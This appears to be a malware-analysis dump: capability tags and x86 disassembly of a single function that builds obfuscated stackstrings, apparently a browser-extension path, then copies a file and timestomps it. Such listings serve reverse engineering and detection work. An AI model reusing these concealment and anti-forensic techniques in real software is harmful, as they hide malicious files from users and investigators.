Function at 0x10096670
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10097f56
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x100bb2a8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push dword [ebx + 0x974]
mov eax, dword [ebp + 8]
lea esi, [ebx + 0x20]
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x270], eax
mov eax, dword [ebp + 0x18]
push esi
mov dword [ebp - 0x274], eax
lea eax, [ebp - 0x48]
push edi
push eax
lea eax, [ebp - 0x150]
mov word [ebp - 0x40], 0x782e
push eax
mov dword [ebp - 0x47], 0x73255c73
mov word [ebp - 0x3d], 0x69
mov word [ebp - 0x42], 0x7325
mov byte [ebp - 0x43], 0x5c
mov byte [ebp - 0x48], 0x25
mov byte [ebp - 0x3e], 0x70
call fcn.10017370
add esp, 0x14
lea eax, [ebp - 0x258]
push esi
push edi
push 0x100a6c20
push eax
call fcn.10017370
add esp, 0x10
mov dword [ebp - 0x29], 0x69465c61
mov dword [ebp - 0x23], 0x5c786f46
mov word [ebp - 0x32], 0x6572
mov word [ebp - 0x19], 0x6f69
mov word [ebp - 0x25], 0x6572
mov word [ebp - 0x1e], 0x7478
mov word [ebp - 0x2e], 0x7a6f
mov word [ebp - 0x35], 0x7774
mov word [ebp - 0x16], 0x73
mov word [ebp - 0x2b], 0x6c6c
mov word [ebp - 0x30], 0x4d5c
mov byte [ebp - 0x2c], 0x69
mov word [ebp - 0x38], 0x6f53
mov word [ebp - 0x1b], 0x736e
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x33], 0x61
mov byte [ebp - 0x17], 0x6e
mov byte [ebp - 0x36], 0x66
mov byte [ebp - 0x1f], 0x65
call fcn.10001e63
mov ecx, eax
test ecx, ecx
jne 0x1009678b
push 0x80004005
call fcn.10001bd3
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x26c], esi
lea eax, [ebp - 0x38]
mov dword [ebp - 4], 0
test eax, 0xffff0000
jne 0x100967c7
movzx edi, ax
mov ecx, edi
call fcn.10001cf0
test eax, eax
je 0x100967ef
push edi
push eax
lea ecx, [ebp - 0x26c]
call fcn.10007d68
jmp 0x100967e9
lea ecx, [ebp - 0x38]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100967d0
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x26c]
call fcn.10008e96
mov esi, dword [ebp - 0x26c]
mov dword [ebp - 4], 1
mov ecx, 1
mov eax, dword [ebx + 0x978]
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, 0x104
or eax, ecx
jge 0x10096820
push 0x104
lea ecx, [ebx + 0x978]
call fcn.10008e39
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
mov edi, dword [ebx + 0x978]
jge 0x10096850
push 0x104
lea ecx, [ebp - 0x26c]
call fcn.10008e39
mov esi, dword [ebp - 0x26c]
lea eax, [ebp - 0x150]
push eax
push edi
push esi
push reloc.WS2_32.dll_bind
call fcn.100969e0
mov eax, dword [ebx + 0x974]
test eax, eax
jne 0x10096871
xor ecx, ecx
jmp 0x10096887
push dword [eax - 8]
push eax
call fcn.1005fea7
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x100969d2
mov eax, dword [ebx + 0x974]
cmp ecx, dword [eax - 8]
jg 0x100969d2
mov dword [eax - 0xc], ecx
mov eax, dword [ebx + 0x974]
mov byte [ecx + eax], 0
push dword [esi - 8]
push esi
call fcn.1005fea7
add esp, 8
test eax, eax
js 0x100969d2
cmp eax, dword [esi - 8]
jg 0x100969d2
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10096917
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x100968f7
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005a19b
mov esp, ebp
pop ebp
ret 0x18
push 0
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.10095f70
push dword [ebp - 0x274]
lea eax, [ebp - 0x150]
mov ecx, ebx
push eax
sub esp, 8
call fcn.10096b70
test eax, eax
je 0x100969a9
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100969a9
lea eax, [ebp - 0x27c]
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x100969c8
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, 1
jmp 0x100968f9
push 0x80070057
call fcn.10001bd3
int3